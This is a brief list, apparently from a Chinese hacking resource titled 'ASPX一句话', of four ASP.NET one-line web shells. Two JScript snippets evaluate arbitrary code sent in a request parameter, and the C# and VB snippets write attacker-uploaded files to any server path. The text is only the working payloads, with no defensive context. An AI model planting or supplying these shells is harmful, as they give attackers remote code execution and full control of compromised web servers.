ASPX一句话

1) <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
2) <%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["w"],"unsafe"));%>
　　//Jscript的asp.net一句话
3) <%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request["f"])  ); }%>
　　//C#的asp.net一句话
4) <% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request("f")) ) %>